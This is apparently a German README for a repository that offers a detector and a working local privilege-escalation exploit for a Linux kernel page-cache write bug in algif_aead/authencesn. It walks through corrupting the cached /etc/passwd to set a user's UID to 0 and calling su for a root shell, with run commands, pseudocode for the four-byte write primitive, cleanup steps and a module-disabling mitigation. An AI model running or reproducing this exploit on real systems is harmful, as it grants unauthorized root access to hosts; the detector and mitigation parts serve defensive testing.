
Exploit POC for CVE_2026_31431
Detektor und Proof-of-Concept LPE für den Linux algif_aead / authencesn Page-Cache-Scratch-Write-Bug, veröffentlicht am 2026-04-29.
Offenlegungsbericht: https://xint.io/blog/copy-fail-linux-distributions
Nur auf Hosts verwenden, die Ihnen gehören oder für deren Bewertung Sie ausdrücklich beauftragt wurden. Der LPE modifiziert den Arbeitsspeicher (Page Cache), aber die Technik ist eine echte Privilegieneskalation — das Ausführen auf Systemen ohne Autorisierung ist in den meisten Rechtsordnungen illegal.
algif_aead führt AEAD-Operationen in-place aus (req->src == req->dst). Wenn die Quelldaten über splice() aus einer regulären Datei eingespeist werden, enthält die Ziel-Scatterlist Referenzen auf die Page-Cache-Seiten der Datei — d.h. der Kernel wird in sie schreiben. Der Algorithmus authencesn(hmac(sha256), cbc(aes)) führt dann einen 4-Byte „Scratch“-Schreibvorgang des seqno_lo-Felds des AAD (Bytes 4–7 des per sendmsg bereitgestellten AAD) in dieses Ziel durch, wodurch die Page-Cache-Kopie der Datei beschädigt wird.
Da die Datei auf der Festplatte niemals modifiziert wird, gibt es keine Signatur auf der Festplatte; die Beschädigung wird nur von Lesern beobachtet, die den Page Cache teilen. /etc/passwd und /usr/bin/su sind beide weltweit lesbar, sodass ein unprivilegierter lokaler Benutzer die Sicht des laufenden Kernels auf eine der beiden Dateien beschädigen kann.
Betroffen: Kernel, die den Commit 72548b093ee3 (in-place AEAD, 2017) enthalten, ohne den Upstream-Revert. Die Offenlegung bestätigte Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3 und SUSE 16, aber die zugrunde liegende Primitiv liegt zeitlich vor diesem Bereich.
| Datei | Zweck |
|---|---|
test_cve_2026_31431.py | Nicht-zerstörender Detektor. Arbeitet mit einer Sentinel-Datei in einem temporären Verzeichnis; berührt niemals Systembinärdateien. |
exploit_cve_2026_31431.py | LPE. Setzt die UID des laufenden Benutzers auf 0 im Page-Cache von /etc/passwd und ruft dann su für eine Root-Shell auf. |
Beide Skripte sind reine Python 3.10+ stdlib.
# 1. Detect
python3 test_cve_2026_31431.py
# exit 0 = not vulnerable, 2 = vulnerable, 1 = test error
# 2. Exploit (interactive — su will prompt for your own password)
python3 exploit_cve_2026_31431.py --shell
python3 test_cve_2026_31431.py
Was es tut:
AF_ALG und der Algorithmus authencesn(hmac(sha256),cbc(aes)) von einem unprivilegierten Prozess aus erreichbar sind.sendmsg+cmsg mit auf den Marker PWND gesetztem seqno_lo, dann splicet es 32 Bytes der Page-Cache-Seite der Sentinel-Datei in den AF_ALG-OP-Socket.recv() auf, um die Entschlüsselung anzutreiben. Die Authentifizierungsprüfung schlägt mit EBADMSG fehl; der Scratch-Schreibvorgang erfolgt dennoch.Ausgabeklassen:
Precondition not met — AF_ALG oder authencesn nicht verfügbar. Exit 0.VULNERABLE to CVE-2026-31431 — Marker PWND in der gespliceten Seite gelandet. Exit 2.Page cache MODIFIED via in-place AEAD splice path — Die Seite wurde beschrieben, aber der Marker landete nicht an der erwarteten Position. Als verwundbar behandeln. Exit 2.Page cache intact — Gepatcht. Exit 0.Der Detektor berührt niemals /usr/bin/su, /etc/passwd oder andere Dateien außerhalb des von ihm erstellten temporären Verzeichnisses, und diese Datei wird beim Beenden gelöscht.
python3 exploit_cve_2026_31431.py # patch only, print next steps
python3 exploit_cve_2026_31431.py --shell # patch and exec `su <user>`
Was es tut:
/etc/passwd und findet den Byte-Offset des 4-stelligen UID-Feldes.write4 auf diesen Offset aus und ersetzt die UID durch 0000.pwd.getpwnam(user) auf, um zu bestätigen, dass libc nun UID 0 meldet.--shell führt es execvp("su", ["su", user]) aus. Geben Sie Ihr eigenes Passwort ein. PAM validiert gegen /etc/shadow (unberührt), dann führt setuid(getpwnam(user).pw_uid) zu UID 0.write4 entsprechend.nscd, sssd, systemd-userdbd) maskiert Lesevorgänge von /etc/passwd. Wenn getpwnam nach dem Patch immer noch die echte UID zurückgibt, starten Sie den Cache neu oder umgehen Sie ihn, oder wählen Sie einen anderen Benutzer./etc/passwd-Seite muss zwischen dem Patch und dem su-Exec im Cache bleiben. In der Praxis ist dies auf jedem System mit normalem Speicherdruck zuverlässig.Die /etc/passwd auf der Festplatte bleibt unverändert.
Dry-run (exploit_cve_2026_31431.py ohne --shell) entfernt die beschädigte Seite beim Beenden automatisch über POSIX_FADV_DONTNEED, sodass UID→Name-Abfragen sofort wieder normal funktionieren.
Nach --shell bleibt die Seite beschädigt, bis Sie sie löschen. Während sie beschädigt ist, schlagen alle Vorgänge, die UID 1000 → Name auflösen (z.B. ls, Dateimanager, scp/sftp-Besitzerprüfungen), fehl oder zeigen numerische IDs an. Zum Löschen:
# unprivileged - request page-cache eviction for /etc/passwd:
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"
# from the root shell:
echo 3 > /proc/sys/vm/drop_caches
Ein Neustart löscht es ebenfalls.
write4 funktioniertsendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # EBADMSG; scratch write has already landed
Die 4 Bytes aus den AAD-Positionen 4–7 (seqno_lo) werden von authencesn in die Ziel-Scatterlist geschrieben, die auf diesem Codepfad die Page-Cache-Seite ist, die wir von target_fd gesplicet haben. Der Lande-Offset innerhalb der Seite entspricht dem offset_src, den wir an splice() übergeben haben.
Bis der gepatchte Kernel Ihre Distribution erreicht:
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null
Nach der Anwendung sollte test_cve_2026_31431.py Precondition not met melden und mit Exit 0 beenden.
Der Upstream-Fix macht die In-Place-AEAD-Operationen rückgängig und wechselt zu Out-of-Place, wodurch Page-Cache-Seiten aus beschreibbaren Scatterlists ferngehalten werden.